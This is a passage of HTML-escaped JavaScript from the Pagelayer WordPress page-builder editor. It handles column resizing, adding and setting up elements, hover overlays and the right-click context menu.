	wrap.children(&#039;.pagelayer-ele-overlay&#039;).append(rHandler);
	
	// Resize start
	rHandler.on(&#039;mousedown&#039;, function(e) {
		e.preventDefault();
		
		var next_ele = wrap.next();
		var rHolder_width = wrap.closest(&#039;.pagelayer-row-holder&#039;).width();
		var new_width, nEle_new_width;
		
		// Original width
		var original_width = parseFloat(window.getComputedStyle(wrap[0]).getPropertyValue(&#039;width&#039;));
		var next_ele_width = parseFloat(window.getComputedStyle(next_ele[0]).getPropertyValue(&#039;width&#039;));
		var original_mouse_x = e.pageX;
		
		var both_width = parseInt(original_width + next_ele_width);
		
		// Add the element width and next element width
		both_width = ((both_width / rHolder_width) *100);
		
		if(both_width &gt; 100){
			return false;
		}
		
		jQuery(&#039;body&#039;).css({&#039;cursor&#039;: &#039;ew-resize&#039;});
		rHandler.css({&#039;display&#039;: &#039;block&#039;});
		
		var mousemoved = false;
		
		var r_mousemove = function(e){
			mousemoved = true;
			
			var width = original_width + (e.pageX - original_mouse_x);
			
			// Covert width in percentage
			new_width = (width / rHolder_width *100).toFixed(2);
			
			if(both_width &gt; new_width &amp;&amp; new_width &gt; 0){
				nEle_new_width = (both_width - new_width).toFixed(2);
				wrap.css({&#039;width&#039;: new_width+&#039;%&#039;});
				next_ele.css({&#039;width&#039;: nEle_new_width+&#039;%&#039;});
				
				rHandler.attr({&#039;pre-width&#039;: new_width+&#039;%&#039;, &#039;next-width&#039;: nEle_new_width+&#039;%&#039;}); 
			}
			
		};
		
		var r_mouseup = function(e){
			
			jQuery(document).off(&#039;mousemove&#039;, r_mousemove);
			jQuery(document).off(&#039;mouseup&#039;, r_mouseup);
			jQuery(&#039;body&#039;).css({&#039;cursor&#039;: &#039;&#039;});
			rHandler.removeAttr(&#039;style pre-width next-width&#039;);
			
			// IF mouseMoved
			if(!mousemoved) return;
			
			// find real element and next real element
			var jEle = wrap.find(&#039;&gt;.pagelayer-ele&#039;);
			var nEle = next_ele.find(&#039;&gt;.pagelayer-ele&#039;);
			var mode = pagelayer_get_screen_mode();
			var col_width = &#039;col_width&#039;;
			
			// Do we have screen ?
			if(mode != &#039;desktop&#039;){
				col_width = col_width +&#039;_&#039;+mode;
			}
			
			// Set the element attrs
			pagelayer_set_atts(jEle, col_width, new_width);
			pagelayer_set_atts(jEle, &#039;col&#039;, &#039;&#039;);
			pagelayer_set_atts(nEle, col_width, nEle_new_width);
			pagelayer_set_atts(nEle, &#039;col&#039;, &#039;&#039;);
			
		};
		
		// Resize start
		jQuery(document).on(&#039;mousemove&#039;, r_mousemove);
		jQuery(document).on(&#039;mouseup&#039;, r_mouseup);
	});
}

// Handle addition of elements from the left
// NOTE : At this point the addition is FINALIZED
// The add element cannot be prevented !
function pagelayer_onadd(jEle, toClick){
	
	toClick = arguments.length == 2 ? toClick : true;
	
	//console.log(jEle);
	var id = pagelayer_element_added(jEle);
	var jEle = jQuery(&quot;[pagelayer-id=&quot;+id+&quot;]&quot;);
	
	if(toClick){
		//console.log(&#039;here&#039;);
		jEle.click();
	}
	
	return id;
	
};

// Add an element into the POST
function pagelayer_element_added(jEle){
	
	var sc = jEle.attr(&#039;pagelayer-tag&#039;);
	var id, par_id;
	var gId = jEle.attr(&#039;pagelayer-global-id&#039;);
	gId = gId &amp;&amp; !pagelayer_empty(pagelayer_global_widgets[gId]) ? gId : 0;
	
	// Set Pagelayer History FALSE to prevent saving attributes in action history
	pagelayer.history_action = false;
	pagelayer.global_render = false;
	
	// Is this a global widget ?
	if(!pagelayer_empty(gId)){
	
		html = pagelayer_element_unsetup(pagelayer_global_widgets[gId].$);
	
	// Generate the HTML
	}else{
		html = pagelayer_create_sc(sc);
	}
	
	id = pagelayer_assign_id(html);
	par_id = id;
	
	// Insert the HTML
	jEle[0].outerHTML = html[0].outerHTML;
	
	// Setup the properties of the elements
	pagelayer_element_setup(&quot;[pagelayer-id=&quot;+par_id+&quot;], [pagelayer-id=&quot;+par_id+&quot;] .pagelayer-ele&quot;, true);
	
	// Is this a global widget ? Then set this as global element
	if(!pagelayer_empty(gId)){
		html = pagelayer_set_ele_global(jQuery(&#039;[pagelayer-id=&quot;&#039;+par_id+&#039;&quot;]&#039;), gId);
	}
	
	// Any children to add ?
	if(!(&#039;widget&#039; in pagelayer_shortcodes[sc])){
	
		// The element props
		var props = pagelayer_shortcodes[sc];
		
		// Do we have to create children ?
		if(&#039;has_group&#039; in props){
			
			// Is this not a global widget ?
			if(pagelayer_empty(gId)){
				var has_group = props[&#039;has_group&#039;];
				var gProp = props[has_group[&#039;section&#039;]][has_group[&#039;prop&#039;]];
				
				for(var i=0; i &lt; gProp[&#039;count&#039;]; i++){
					var cid = pagelayer_element_add_child(jQuery(&quot;[pagelayer-id=&quot;+id+&quot;]&quot;), gProp[&#039;sc&#039;], gProp);
					//pagelayer_element_setup(&#039;[pagelayer-id=&#039;+cid+&#039;]&#039;, true);
					
					var cEle = pagelayer_ele_by_id(cid);
					
					// Set default
					if( &#039;item_atts&#039; in gProp &amp;&amp; i in gProp[&#039;item_atts&#039;] &amp;&amp; !pagelayer_empty(gProp[&#039;item_atts&#039;][i]) ){
						pagelayer_set_atts(cEle, gProp[&#039;item_atts&#039;][i]);
						pagelayer_sc_render(cEle);
					}
				}
			}else{
				pagelayer_sc_render(jQuery(&#039;[pagelayer-id=&quot;&#039;+par_id+&#039;&quot;]&#039;));
			}
		}
	
	}
	
	// Save in action history 
	var cEle = pagelayer_near_by_ele(id, sc);

	pagelayer_history_action_push({
		&#039;title&#039; : pagelayer_shortcodes[sc][&#039;name&#039;],
		&#039;action&#039; : &#039;Added&#039;,
		&#039;pl_id&#039; : id,
		&#039;html&#039; : jQuery(&quot;[pagelayer-id=&quot;+id+&quot;]&quot;)[0].outerHTML,
		&#039;cEle&#039; : cEle
	});
	
	// Set pagelayer history TRUE
	pagelayer.history_action = true;
	pagelayer.global_render = true;
	
	// To update nav item list
	pagelayer_do_dirty(pagelayer_ele_by_id(id));
	
	return id;
	
};

// Add an element
function pagelayer_element_add_child(pEle, sc, gProp){
	
	gProp = gProp || {};
	var child = pagelayer_create_sc(sc);
	var cid = pagelayer_assign_id(child);
	pagelayer_set_parent(child, pagelayer_assign_id(pEle));
	
	// Does the parent have a holder ?
	var tag = pagelayer_tag(pEle);
	
	// There is a holder
	if(&#039;holder&#039; in pagelayer_shortcodes[tag]){
		
		pEle.find(pagelayer_shortcodes[tag][&#039;holder&#039;]).append(child);
		
	// No holder, just append
	}else{
		pEle.append(child);
	}
	
	pagelayer_element_setup(&#039;[pagelayer-id=&#039;+cid+&#039;]&#039;, true);
	
	// Certain element have editable areas which are inner rows. For UX we need to add columns for the users
	if(sc == &#039;pl_inner_row&#039;){
		
		var rHolder = pagelayer_ele_by_id(cid).find(&#039;.pagelayer-row-holder&#039;);
		
		if( !pagelayer_empty(gProp) &amp;&amp; &#039;inner_content&#039; in gProp){
			
			var inner_content = gProp[&#039;inner_content&#039;];
			
			// Add default element
			if(!pagelayer_empty(inner_content)){
				
				var add_sc = function(hEle, _tag, content){
					
					var dEle = jQuery(&#039;&lt;div pagelayer-tag=&quot;&#039;+_tag+&#039;&quot;&gt;&lt;/div&gt;&#039;);
					
					if(_tag == &#039;pl_col&#039;){
						hEle = hEle.closest(&#039;.pagelayer-row-holder&#039;);
					}else{
						hEle = hEle.find(&#039;.pagelayer-col-holder&#039;);
					}
					
					hEle.append(dEle);
					var curID = pagelayer_onadd(dEle, false);
					var curEle = pagelayer_ele_by_id(curID);
					
					// Set default
					if(&#039;atts&#039; in content[_tag]){
						pagelayer_set_atts(curEle, content[_tag][&#039;atts&#039;]);
						pagelayer_sc_render(curEle);
					}
					
					// Set inner content
					if(&#039;inner_content&#039; in content[_tag]){
						for( var key in content[_tag][&#039;inner_content&#039;] ){
							for( var _key in content[_tag][&#039;inner_content&#039;][key] ){
								add_sc(curEle, _key, content[_tag][&#039;inner_content&#039;][key]);
							}
						}
					}
					
					if(_tag == &#039;pl_col&#039;){
						// TODO: unable to set col width
						pagelayer_renumber_col(hEle);
					}else{
						pagelayer_empty_col(hEle);
					}
				};
				
				for( var key in inner_content ){
					for( var tag in inner_content[key] ){
						add_sc(rHolder, tag, inner_content[key]);
					}
				}
			}
			
			pagelayer_empty_col(jQuery(&#039;[pagelayer-id=&quot;&#039;+cid+&#039;&quot;]&#039;).find(&#039;.pagelayer-col-holder&#039;));
			
		}else{
			var col = jQuery(&#039;&lt;div pagelayer-tag=&quot;pl_col&quot;&gt;&lt;/div&gt;&#039;);
			rHolder.append(col);
			pagelayer_onadd(col, false);		
		}
	}
	
	// Do we have to create children ?
	if(&#039;has_group&#039; in pagelayer_shortcodes[sc]){
				
		var has_group = pagelayer_shortcodes[sc][&#039;has_group&#039;];		
		var gProp = pagelayer_shortcodes[sc][has_group[&#039;section&#039;]][has_group[&#039;prop&#039;]];
		
		for(var i=0; i &lt; gProp[&#039;count&#039;]; i++){
			var in_cid = pagelayer_element_add_child(jQuery(&quot;[pagelayer-id=&quot;+cid+&quot;]&quot;), gProp[&#039;sc&#039;], gProp);
		}
		
	}
	
	return cid;
};

// Return an element by ID
function pagelayer_ele_by_id(id){
	return jQuery(&#039;[pagelayer-id=&#039;+id+&#039;]&#039;);
};

// Return the wrap by ID
function pagelayer_wrap_by_id(id){
	return jQuery(&#039;[pagelayer-wrap-id=&#039;+id+&#039;]&#039;);
};

// Give the Pagelayer ID
function pagelayer_id(jEle){
	
	var id = jEle.attr(&#039;pagelayer-wrap-id&#039;);
	if(id){
		return id;
	}
	
	id = jEle.attr(&#039;pagelayer-id&#039;);
	
	return id;
	
}

// Remove Pagelayer ID class
function pagelayer_remove_id_class(jEle){
	var id = jEle.attr(&#039;pagelayer-id&#039;);
	jEle.removeClass(&#039;p-&#039;+id);
}

// Assign the jQuery object an ID
function pagelayer_assign_id(jEle){
	
	// Do you have the pagelayer id
	var id = jEle.attr(&quot;pagelayer-id&quot;);
	if(!id || id.length &lt; 1){
		id = pagelayer_randstr(3)+pagelayer_randInt(9999).toString();
		id = id.toLowerCase();
		jEle.attr(&quot;pagelayer-id&quot;, id);
	}
	
	return id;
	
}

// Show the edit options
function pagelayer_element_clicked(selector, e){
	
	var jEle = jQuery(selector);
	e = e || false;
	//console.log(e);	
	
	// You must be a element atleast
	if(!jEle.hasClass(&#039;pagelayer-ele&#039;)){
		return false;
	}
	
	// Get the parent
	var pId = pagelayer_get_parent(jEle);
	
	// If we found a parent
	if(pId){
		jEle = pagelayer_ele_by_id(pId);	
	}
	
	// Make the editable fields active	
	//pagelayer_clear_editable();// First clear
	jEle.find(&#039;[pagelayer-editable]&#039;).each(function (){
		pagelayer_make_editable(jQuery(this), e);
	});

	// Show left bar
	if(pagelayer_empty(e)){
		pagelayer.$$(&#039;.pagelayer-leftbar-table&#039;).removeClass(&#039;pagelayer-leftbar-hidden pagelayer-leftbar-minimize&#039;);
	}
	
	// Lets not rebuild everything to make it faster
	if(pagelayer_is_active(jEle)){
		return false;
	}
	
	pagelayer_trigger_action(&#039;pagelayer_element_clicked&#039;, [jEle]);
	
	// Set this as the active element
	pagelayer_set_active(jEle);
	
	// Show the properties
	pagelayer_elpd_open(jEle);
	
}

// Use text widget for search widget
function pagelayer_search_widgets(hEle){
	
	hEle = hEle || jQuery(pagelayer_editable +&#039; [pagelayer-tag=&quot;pl_text&quot;], &#039;+pagelayer_editable +&#039; [pagelayer-tag=&quot;pl_heading&quot;]&#039;);
	
	hEle.each(function(){
		
		var jEle = jQuery(this);
		var tEle = jEle.find(&#039;[pagelayer-editable=&quot;text&quot;]&#039;);
		
		var addPlaceholder = function(ele){
			
			var tVal = ele.text();
			
			if(pagelayer_empty(tVal)){
				ele.attr(&#039;data-placeholder-text&#039;, &#039;Type / to open widget list&#039;);
			}else if(ele.attr(&#039;data-placeholder-text&#039;)){
				ele.removeAttr(&#039;data-placeholder-text&#039;);
			}
		}
		
		// Add placeholder text
		addPlaceholder(tEle);
		
		tEle.off(&#039;input.search_widgets&#039;);
		tEle.on(&#039;input.search_widgets&#039;, function(){
			
			var val = tEle.text();
			
			// Add placeholder text
			addPlaceholder(tEle);
			
			if(val.charAt(0) == &quot;/&quot;){
				val = val.replace(&#039;/&#039;, &#039;&#039;);
				pagelayer_show_widget_list(tEle, val);
			}else if(pagelayer.$$(&#039;.pagelayer-widget-tooltip&#039;).is(&#039;:visible&#039;)){
				// Hide Widget list
				pagelayer.gDocument.trigger(&#039;mousedown.pagelayer_wdlist&#039;);
			}
			
		});
	
	});
	
}

// The edit option
function pagelayer_edit_element(selector){
	pagelayer_element_clicked(selector);
}

// Dump the data from the el to the elements
function pagelayer_element_dump_data(){
	for(var x in pagelayer.el){
		var jEle = pagelayer_ele_by_id(x);
		if(jEle.length &gt; 0){
			pagelayer_el_dump_data(jEle);
		}
	}
}

// Setup the properties on a single click
function pagelayer_element_setup(selector, render){
	
	var selector = selector || &quot;.pagelayer-ele&quot;;
	render = render || false;
	
	// Loop through
	jQuery(pagelayer_editable+&#039; &#039;+selector).each(function(){
		
		var jEle = jQuery(this);
		
		// Assign an ID if not there
		var id = pagelayer_assign_id(jEle);
		var pId = pagelayer_get_parent(jEle) || &#039;&#039;;// Options to show on hover
		var selector = &#039;[pagelayer-id=&#039;+id+&#039;]&#039;;
		
		// Get data part
		pagelayer.el[id] = pagelayer_el_get_data(jEle);
		//console.log(jEle[0].outerHTML);
		//console.log(pagelayer.el[id]);
			
		if(render){
			pagelayer_sc_render(jEle);
		}
		
		// Get the tag
		var tag = pagelayer_tag(jEle);
		var props = pagelayer_get_props(jEle);
		
		// Lets check if we are the child of a parent i.e. element of a group
		if(pagelayer_empty(pId)){
		
			// Get the parent
			var pEle = jEle.parent().closest(&#039;.pagelayer-ele&#039;);
			
			// If we found a parent
			if(pEle.length &gt; 0){

				var pTag = pagelayer_tag(pEle);
				
				// Is the parent a group of this child ?
				if(!pagelayer_empty(pagelayer_shortcodes[pTag]) &amp;&amp; pagelayer_is_group(pTag)){
					
					var has_group = pagelayer_shortcodes[pTag][&#039;has_group&#039;];		
					var child_type = pagelayer_shortcodes[pTag][has_group[&#039;section&#039;]][has_group[&#039;prop&#039;]][&#039;sc&#039;];
					
					// If the type is the same as jEle
					if(child_type == pagelayer_tag(jEle)){
						pId = pagelayer_assign_id(pEle);
						pagelayer_set_parent(jEle, pId);
					}
				}
			
			}
		
		}
		
		// If is group of widget?
		if(&#039;widget_group&#039; in props &amp;&amp; !pagelayer_empty(props[&#039;widget_group&#039;])){
			pagelayer_set_widget_group(jEle);
		}
		
		// Make the wraps
		jEle.wrap(&#039;&lt;div class=&quot;pagelayer-ele-wrap&quot; pagelayer-wrap-id=&quot;&#039;+id+&#039;&quot;&gt;&lt;/div&gt;&#039;);
		var wrap = jEle.parent();
		
		// For column we have to do some kidas !
		if(tag == &#039;pl_col&#039;){
			
			var col;
			for(var x=1; x&lt;=12; x++){
				if(jEle.hasClass(&#039;pagelayer-col-&#039;+x)){
					col = &#039;pagelayer-col-&#039;+x;
					break;
				}
			}
	  
			
			wrap.addClass(&#039;pagelayer-col &#039;+col);
			//jEle.removeClass(&#039;pagelayer-col &#039;+col);
			wrap.addClass(&#039;pagelayer-wrap-col&#039;);
			
		}else if(tag == &#039;pl_row&#039;){
			wrap.addClass(&#039;pagelayer-wrap-row&#039;);
		}else if(tag == &#039;pl_inner_row&#039;){
			wrap.addClass(&#039;pagelayer-wrap-inner-row&#039;);
		}else{
			wrap.addClass(&#039;pagelayer-wrap-ele&#039;);
		}
		
		// Create the overlay
		wrap.prepend(&#039;&lt;div class=&quot;pagelayer-ele-overlay&quot;&gt;&lt;/div&gt;&#039;);
			
		var overlay = wrap.children(&#039;.pagelayer-ele-overlay&#039;);
		var html;
		
		if(tag == &#039;pl_row&#039; || tag == &#039;pl_inner_row&#039;){
			
			overlay.addClass(&#039;pagelayer-row-hover&#039;);
			
			if(jEle.hasClass(&#039;pagelayer-row-stretch-full&#039;)){
				pagelayer_sc_render(jEle);
			}
			
			html = &#039;&lt;div class=&quot;pagelayer-row-option&quot; pagelayer-option-edit pagelayer-option-id=&quot;&#039;+id+&#039;&quot;&gt;&#039;+
				&#039;&lt;i class=&quot;fas fa-caret-up pagelayer-eoi pagelayer-move-up&quot; onclick=&quot;pagelayer_move_element_up(\&#039;&#039;+selector+&#039;\&#039;)&quot; &gt;&lt;/i&gt;&#039;+
				&#039;&lt;i class=&quot;far fa-clone pagelayer-eoi&quot; onclick=&quot;pagelayer_copy_element(\&#039;&#039;+selector+&#039;\&#039;)&quot; &gt;&lt;/i&gt;&#039;+
				&#039;&lt;i class=&quot;fas fa-trash pagelayer-eoi&quot; onclick=&quot;pagelayer_delete_element(\&#039;&#039;+selector+&#039;\&#039;)&quot; &gt;&lt;/i&gt;&#039;+
				&#039;&lt;i class=&quot;fas fa-pencil-alt pagelayer-eoi&quot; onclick=&quot;pagelayer_edit_element(\&#039;&#039;+selector+&#039;\&#039;, event)&quot; &gt;&lt;/i&gt;&#039;+
				&#039;&lt;i class=&quot;fas fa-caret-down pagelayer-eoi pagelayer-move-down&quot; onclick=&quot;pagelayer_move_element_down(\&#039;&#039;+selector+&#039;\&#039;)&quot; &gt;&lt;/i&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
		
		}else if(tag == &#039;pl_col&#039;){
			
			overlay.addClass(&#039;pagelayer-col-hover&#039;);
			
			html = &#039;&lt;div class=&quot;pagelayer-col-option&quot; pagelayer-option-edit pagelayer-option-id=&quot;&#039;+id+&#039;&quot;&gt;&#039;+
				&#039;&lt;i class=&quot;fas fa-columns pagelayer-eoi&quot; onclick=&quot;pagelayer_edit_element(\&#039;&#039;+selector+&#039;\&#039;, event)&quot; &gt;&lt;/i&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
			
			// Is it an empty col ?
			pagelayer_empty_col(jEle.children(&#039;.pagelayer-col-holder&#039;));
			
			// Make col resizable
			pagelayer_col_make_resizable(wrap);
		
		}else{
		
			html = &#039;&lt;div class=&quot;pagelayer-ele-option&quot; pagelayer-option-edit pagelayer-option-id=&quot;&#039;+id+&#039;&quot;&gt;&#039;+
				&#039;&lt;i class=&quot;fas fa-caret-up pagelayer-eoi pagelayer-move-up&quot; onclick=&quot;pagelayer_move_element_up(\&#039;&#039;+selector+&#039;\&#039;)&quot; &gt;&lt;/i&gt;&#039;+
				&#039;&lt;i class=&quot;far fa-clone pagelayer-eoi&quot; onclick=&quot;pagelayer_copy_element(\&#039;&#039;+selector+&#039;\&#039;)&quot; &gt;&lt;/i&gt;&#039;+
				&#039;&lt;i class=&quot;fas fa-trash pagelayer-eoi&quot; onclick=&quot;pagelayer_delete_element(\&#039;&#039;+selector+&#039;\&#039;)&quot; &gt;&lt;/i&gt;&#039;+
				&#039;&lt;i class=&quot;fas fa-pencil-alt pagelayer-eoi&quot; onclick=&quot;pagelayer_edit_element(\&#039;&#039;+selector+&#039;\&#039;, event)&quot; &gt;&lt;/i&gt;&#039;+
				&#039;&lt;i class=&quot;fas fa-caret-down pagelayer-eoi pagelayer-move-down&quot; onclick=&quot;pagelayer_move_element_down(\&#039;&#039;+selector+&#039;\&#039;)&quot; &gt;&lt;/i&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
		
		}
		
		// Append to the child
		overlay.append(html);
		
		// Add shortcode icon
		if(tag != &#039;pl_row&#039; &amp;&amp; tag != &#039;pl_col&#039;){
			overlay.append(&#039;&lt;span class=&quot;pagelayer-shortcode-plus&quot; onclick=&quot;event.stopPropagation();pagelayer_show_widget_list(this);&quot;&gt;&lt;i class=&quot;fas fa-plus&quot;&gt;&lt;/i&gt;&lt;/span&gt;&#039;);
		}
		
		jQuery(&#039;[pagelayer-option-id=&#039;+id+&#039;]&#039;).hide();
		
		// Hide active when not supported by tag
		if(!pagelayer_empty(props[&#039;hide_active&#039;])){
			wrap.addClass(&#039;pagelayer-hide-active&#039;);
		}
		
		pagelayer_trigger_action(&#039;pagelayer_element_setup&#039;, [jEle]);
		
		// Setup the HOVER events ABD create WRAPS IF we dont have a parent
		if(pId.length &gt; 0){
			return;
		}
		
		// Make the wrap draggable, but only of independent or parent elements
		wrap.attr(&#039;draggable&#039;, &#039;true&#039;);
		
		wrap.hover(function(){
			
			// Is there an element option shower ?
			var opts = jQuery(&#039;[pagelayer-option-id=&#039;+id+&#039;]&#039;);
			
			// Give the overlay the hover class
			opts.parent().addClass(&#039;pagelayer-ele-hover&#039;);
			
			// Show them
			opts.show();
			
		}, function(){
			
			// Is there an element option shower ?
			var opts = jQuery(&#039;[pagelayer-option-id=&#039;+id+&#039;]&#039;);
			
			// Remove hover class
			opts.parent().removeClass(&#039;pagelayer-ele-hover&#039;);
			
			// Hide opts
			opts.hide();
			
		});
		
	});
}

// Unsetup element for restup
function pagelayer_element_unsetup(selector, id){
	
	id = id || false;
	
	var src = jQuery(selector);
	var html = src[0].outerHTML;
	
	var jEle = jQuery(html);
	pagelayer_remove_id_class(jEle);
	jEle.removeAttr(&#039;pagelayer-id&#039;);
	jEle.removeAttr(&#039;pagelayer-active&#039;);
	jEle.find(&#039;[pagelayer-id]&#039;).each(function(){
		pagelayer_remove_id_class(jQuery(this));
		jQuery(this).removeAttr(&#039;pagelayer-id&#039;);
	});
	jEle.find(&#039;[pagelayer-parent]&#039;).removeAttr(&#039;pagelayer-parent&#039;);// Remove the parent attribute as it will be reset during pagelayer_element_setup
	jEle.find(&#039;style&#039;).remove();
	jEle.find(&#039;.pagelayer-ele-overlay&#039;).remove();
	
	// Unwrap the wraps
	jEle.find(&#039;.pagelayer-ele&#039;).each(function (){
		var ele = jQuery(this);
		if(ele.parent().is(&#039;.pagelayer-ele-wrap&#039;)){
			ele.unwrap();
		}
	});
	
	// Assign id
	if(!pagelayer_empty(id)){
		jEle.attr(&#039;pagelayer-id&#039;, id);
	}
	
	return jEle;
}

// Left Click
function pagelayer_left_click(){
	
	jQuery(pagelayer_editable).on(&#039;click&#039;, function(e){
		
		e.preventDefault();// Added by Jivan in Actions / Revisions version
		
		// Hide the context menu
		jQuery(&#039;.pagelayer-right-click-options&#039;).hide();
		
		// Target
		var tEle = jQuery(e.target);
		
		// If its an edit option click
		if(tEle.hasClass(&#039;pagelayer-eoi&#039;)){
			return false;
		}
		
		pagelayer_element_clicked(tEle.closest(&#039;.pagelayer-ele&#039;), e);
		
		return false;
		
	});
};

// Right Click Menu
function pagelayer_right_click(){
	
	var html = &#039;&lt;div class=&quot;pagelayer-right-click-options&quot; style=&quot;display:none;&quot;&gt;&#039;+
		&#039;&lt;ul&gt;&#039;+
			&#039;&lt;li&gt;&lt;a class=&quot;pagelayer-right-edit&quot;&gt;Edit&lt;/a&gt;&lt;/li&gt;&#039;+
			&#039;&lt;li&gt;&lt;a class=&quot;pagelayer-right-duplicate&quot;&gt;&lt;i class=&quot;far fa-clone&quot; &gt;&lt;/i&gt; &#039;+pagelayer_l(&#039;Duplicate&#039;)+&#039;&lt;/a&gt;&lt;/li&gt;&#039;+
			&#039;&lt;li&gt;&lt;a class=&quot;pagelayer-right-copy&quot;&gt;&lt;i class=&quot;far fa-copy&quot; &gt;&lt;/i&gt; &#039;+pagelayer_l(&#039;Copy&#039;)+&#039; &lt;span style=&quot;float:right&quot;&gt;Ctrl+c&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#039;+
			&#039;&lt;li&gt;&lt;a class=&quot;pagelayer-right-paste pagelayer-context-disable&quot; title=&quot;If the paste is not done correctly then use Ctrl+V&quot;&gt;&lt;i class=&quot;far fa-clipboard&quot; &gt;&lt;/i&gt; &#039;+pagelayer_l(&#039;Paste&#039;)+&#039; &lt;span style=&quot;float:right&quot;&gt;Ctrl+v&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#039;+
			&#039;&lt;li&gt;&lt;a class=&quot;pagelayer-right-delete&quot;&gt;&lt;i class=&quot;far fa-trash-alt&quot; &gt;&lt;/i&gt; &#039;+pagelayer_l(&#039;Delete&#039;)+&#039;&lt;/a&gt;&lt;/li&gt;&#039;+
			&#039;&lt;li&gt;&lt;a class=&quot;pagelayer-right-save-global-widget&quot; pro=&quot;1&quot;&gt;&lt;i class=&quot;far fa-save&quot; &gt;&lt;/i&gt; &#039;+pagelayer_l(&#039;save_global&#039;)+&#039;&lt;/a&gt;&lt;/li&gt;&#039;+
			&#039;&lt;li&gt;&lt;a class=&quot;pagelayer-right-save-section&quot; pro=&quot;1&quot;&gt;&lt;i class=&quot;far fa-heart&quot; &gt;&lt;/i&gt; &#039;+pagelayer_l(&#039;save_as_section&#039;)+&#039;&lt;/a&gt;&lt;/li&gt;&#039;+
			&#039;&lt;li&gt;&lt;a class=&quot;pagelayer-right-save-global-section&quot; pro=&quot;1&quot;&gt;&lt;i class=&quot;fas fa-globe&quot; &gt;&lt;/i&gt; &#039;+pagelayer_l(&#039;save_as_global_section&#039;)+&#039;&lt;/a&gt;&lt;/li&gt;&#039;+
		&#039;&lt;/ul&gt;&#039;+
	&#039;&lt;/div&gt;&#039;;
	
	jQuery(&#039;body&#039;).append(html);
	
	var $contextMenu = jQuery(&#039;.pagelayer-right-click-options&#039;);
	
	jQuery(pagelayer_editable).on(&#039;contextmenu&#039;, function(e){
		
		var tEle = jQuery(e.target);
		var jEle = tEle.closest(&#039;.pagelayer-ele-wrap&#039;).children(&#039;.pagelayer-ele&#039;);
		
		// If copy_selected is empty then copy data from localStorage
		if(pagelayer_empty(pagelayer.copy_selected)){
			pagelayer_copy_from_clipboard();
		}
		
		// Get the parent
		var pId = pagelayer_get_parent(jEle);
		
		// If we found a parent
		if(pId){
			jEle = pagelayer_ele_by_id(pId);
		}
		
		// The basics
		var id = pagelayer_assign_id(jEle);		
		var tag = pagelayer_tag(jEle);
		
		$contextMenu.find(&#039;.pagelayer-right-edit&#039;).attr(&#039;onclick&#039;, &#039;pagelayer_edit_element(&quot;[pagelayer-id=&#039;+id+&#039;]&quot;)&#039;).html(&#039;&lt;i class=&quot;far fa-edit&quot; &gt;&lt;/i&gt; Edit &#039;+pagelayer_shortcodes[tag][&#039;name&#039;]);
		$contextMenu.find(&#039;.pagelayer-right-duplicate&#039;).attr(&#039;onclick&#039;, &#039;pagelayer_copy_element(&quot;[pagelayer-id=&#039;+id+&#039;]&quot;)&#039;);
		$contextMenu.find(&#039;.pagelayer-right-copy&#039;).attr(&#039;onclick&#039;, &#039;pagelayer_copy_select(&quot;[pagelayer-id=&#039;+id+&#039;]&quot;)&#039;);
		$contextMenu.find(&#039;.pagelayer-right-delete&#039;).attr(&#039;onclick&#039;, &#039;pagelayer_delete_element(&quot;[pagelayer-id=&#039;+id+&#039;]&quot;)&#039;);
		
		// If is pagelayer pro
		if(!pagelayer_empty(pagelayer_pro)){
			$contextMenu.find(&#039;.pagelayer-right-save-global-widget&#039;).attr(&#039;onclick&#039;, &#039;pagelayer_save_sections(&quot;[pagelayer-id=&#039;+id+&#039;]&quot;, &quot;global_widget&quot;)&#039;);
			$contextMenu.find(&#039;.pagelayer-right-save-section&#039;).attr(&#039;onclick&#039;, &#039;pagelayer_save_sections(&quot;[pagelayer-id=&#039;+id+&#039;]&quot;, &quot;section&quot;)&#039;);
			$contextMenu.find(&#039;.pagelayer-right-save-global-section&#039;).attr(&#039;onclick&#039;, &#039;pagelayer_save_sections(&quot;[pagelayer-id=&#039;+id+&#039;]&quot;, &quot;global_section&quot;)&#039;);
		}else{
			var pro = $contextMenu.find(&#039;[pro=&quot;1&quot;]&#039;);
			
			if(pro.find(&#039;.pagelayer-pro-req&#039;).length &lt; 1){
				pro.append(&#039;&lt;span class=&quot;pagelayer-pro-req&quot;&gt;Pro&lt;/span&gt;&#039;);
			}
			
			pro.css({&#039;color&#039;: &#039;#a7a7a7&#039;});
			
			// To stopPropagation
			pro.parent().on(&#039;click&#039;, function(e){
				e.stopPropagation();
			});
		}
		
		var showPaste = function(){
			if(!pagelayer_empty(pagelayer.copy_selected) &amp;&amp; pagelayer_can_copy_to(jEle)){
				$contextMenu.find(&#039;.pagelayer-right-paste&#039;).removeClass(&#039;pagelayer-context-disable&#039;);
				$contextMenu.find(&#039;.pagelayer-right-paste&#039;).attr(&#039;onclick&#039;, &#039;pagelayer_paste_element(&quot;[pagelayer-id=&#039;+id+&#039;]&quot;)&#039;);
			}
		}
		
		// Are we to hide the paste ?
		if(pagelayerClipboardLoading){
			var clipboardLoading = {};
			clipboardLoading = setInterval(function(){
				
				if(pagelayerClipboardLoading){
					return;
				}
				
				clearInterval(clipboardLoading);
				showPaste();
				
			}, 100);
		}else{
			showPaste();
		}
		
		var gId = pagelayer_get_global_id(jEle);
		
		// Are we to hide the global widget ?
		if(!pagelayer_empty(gId) || tag == &#039;pl_row&#039; || tag == &#039;pl_inner_row&#039;|| tag == &#039;pl_col&#039;){
			$contextMenu.find(&#039;.pagelayer-right-save-global-widget&#039;).parent().hide();
		}else{
			$contextMenu.find(&#039;.pagelayer-right-save-global-widget&#039;).parent().show();
		}
		
		var sId = pagelayer_get_att(jEle, &#039;global-section-id&#039;);
		
		// Are we to hide the save as global section ?
		if( tag == &#039;pl_row&#039; &amp;&amp;  pagelayer_empty(sId)){
			$contextMenu.find(&#039;.pagelayer-right-save-global-section&#039;).parent().show();
		}else{
			$contextMenu.find(&#039;.pagelayer-right-save-global-section&#039;).parent().hide();
		}
		
		// Are we to hide the save as section ?
		if( tag == &#039;pl_row&#039; ){
			$contextMenu.find(&#039;.pagelayer-right-save-section&#039;).parent().show();
		}else{
			$contextMenu.find(&#039;.pagelayer-right-save-section&#039;).parent().hide();
		}
			
		var hPosition = (e.pageX+$contextMenu.width()&gt;jQuery(window).width()) ? (e.pageX-$contextMenu.width()) : e.pageX;
